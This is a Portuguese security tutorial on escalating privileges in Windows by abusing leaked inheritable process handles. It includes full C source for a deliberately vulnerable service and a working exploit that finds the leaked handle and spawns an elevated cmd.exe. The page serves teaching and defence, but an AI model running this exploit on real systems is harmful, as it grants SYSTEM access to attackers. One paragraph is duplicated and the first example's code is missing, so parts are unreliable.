Handles em um processo permitem acessar diferentes recursos do Windows:
RootedCON2022 - Exploiting Leaked Handles for LPE
Já houve vários casos de escalonamento de privilégios onde um processo privilegiado com handles abertos e herdáveisexecutou um processo não privilegiado, dando a ele acesso a todos esses handles.
Por exemplo, imagine que um processo executando como SYSTEM abre um novo processo (OpenProcess()) com acesso total. O mesmo processo também cria um novo processo (CreateProcess()) com baixos privilégios, mas herdando todos os handles abertos do processo principal.
Então, se você tiver acesso total ao processo de baixo privilégio, você pode pegar o handle aberto para o processo privilegiado criado com OpenProcess() e injetar um shellcode.
Handles Interessantes
Processo
Como você leu no exemplo inicial, se um processo não privilegiado herdar um handle de processo de um processo privilegiado com permissões suficientes, ele poderá executar código arbitrário nele.
Em este excelente artigo você pode ver como explorar qualquer handle de processo que tenha alguma das seguintes permissões:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Thread
Semelhante aos handles de processo, se um processo não privilegiado herdar um handle de thread de um processo privilegiado com permissões suficientes, ele poderá executar código arbitrário nele.
Em este excelente artigo você também pode ver como explorar qualquer handle de processo que tenha alguma das seguintes permissões:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Handles de Arquivo, Chave e Seção
Se um processo não privilegiado herdar um handle com permissões equivalentes de escrita sobre um arquivo ou registro privilegiado, ele poderá sobrescrever o arquivo/registro (e com muita sorte, escalar privilégios).
Handles de Seção são semelhantes aos handles de arquivo, o nome comum desse tipo de objeto é "File Mapping". Eles são usados para trabalhar com arquivos grandes sem manter o arquivo inteiro na memória. Isso torna a exploração "semelhante" à exploração de um Handle de Arquivo.
Como ver handles de processos
Process Hacker
Process Hacker é uma ferramenta que você pode baixar gratuitamente. Ela tem várias opções incríveis para inspecionar processos e uma delas é a capacidade de ver os handles de cada processo.
Note que para ver todos os handles de todos os processos, o SeDebugPrivilege é necessário (então você precisa executar o Process Hacker como administrador).
Para ver os handles de um processo, clique com o botão direito no processo e selecione Handles:
Você pode então clicar com o botão direito no handle e verificar as permissões:
Sysinternals Handles
O Handlesbinário do Sysinternals também listará os handles por processo no console:
LeakedHandlesFinder
Esta ferramenta permite que você monitore handles vazados e até mesmo autoexplore eles para escalar privilégios.
Metodologia
Agora que você sabe como encontrar handles de processos, o que você precisa verificar é se algum processo não privilegiado está tendo acesso a handles privilegiados. Nesse caso, o usuário do processo poderia ser capaz de obter o handle e abusar dele para escalar privilégios.
Foi mencionado anteriormente que você precisa do SeDebugPrivilege para acessar todos os handles. Mas um usuário ainda pode acessar os handles de seus processos, então pode ser útil se você quiser escalar privilégios apenas a partir desse usuário para executar as ferramentas com as permissões regulares do usuário.
Por exemplo, o seguinte código pertence a um serviço do Windows que seria vulnerável. O código vulnerável deste binário de serviço está localizado dentro da função Exploit. Esta função começa criando um novo processo de handle com acesso total. Em seguida, está criando um processo de baixo privilégio (copiando o token de baixo privilégio do explorer.exe) executando C:\users\username\desktop\client.exe. A vulnerabilidade reside no fato de que está criando o processo de baixo privilégio com bInheritHandles como TRUE.
Portanto, este processo de baixo privilégio é capaz de capturar o handle do processo de alto privilégio criado primeiro e injetar e executar um shellcode (veja a próxima seção).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Exploit Example 1
Em um cenário real, você provavelmente não conseguirá controlar o binário que será executado pelo código vulnerável (C:\users\username\desktop\client.exe neste caso). Provavelmente você comprometerá um processo e precisará verificar se pode acessar algum handle vulnerável de algum processo privilegiado.
Neste exemplo, você pode encontrar o código de um possível exploit para C:\users\username\desktop\client.exe.
A parte mais interessante deste código está localizada em GetVulnProcHandle. Esta função irá começar a buscar todos os handles, então irá verificar se algum deles pertence ao mesmo PID e se o handle pertence a um processo. Se todos esses requisitos forem atendidos (um handle de processo aberto acessível for encontrado), ele tentará injetar e executar um shellcode abusando do handle do processo.
A injeção do shellcode é feita dentro da função Inject e ela apenas escreverá o shellcode dentro do processo privilegiado e criará uma thread dentro do mesmo processo para executar o shellcode).
Em um cenário real, você provavelmente não conseguirá controlar o binário que será executado pelo código vulnerável (C:\users\username\desktop\client.exe neste caso). Provavelmente, você comprometerá um processo e precisará verificar se pode acessar algum handle vulnerável de algum processo privilegiado.
Neste exemplo, em vez de abusar do handle aberto para injetar e executar um shellcode, será usado o token do processo de handle privilegiado aberto para criar um novo. Isso é feito nas linhas de 138 a 148.
Note como a função UpdateProcThreadAttribute é usada com o atributo PROC_THREAD_ATTRIBUTE_PARENT_PROCESS e o handle do processo privilegiado aberto. Isso significa que o thread do processo criado executando _cmd.exe_** terá o mesmo privilégio de token que o processo de handle aberto**.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
Esta ferramenta permite monitorar handles vazados para encontrar vulneráveis e até mesmo explorá-los automaticamente. Também possui uma ferramenta para vazar um.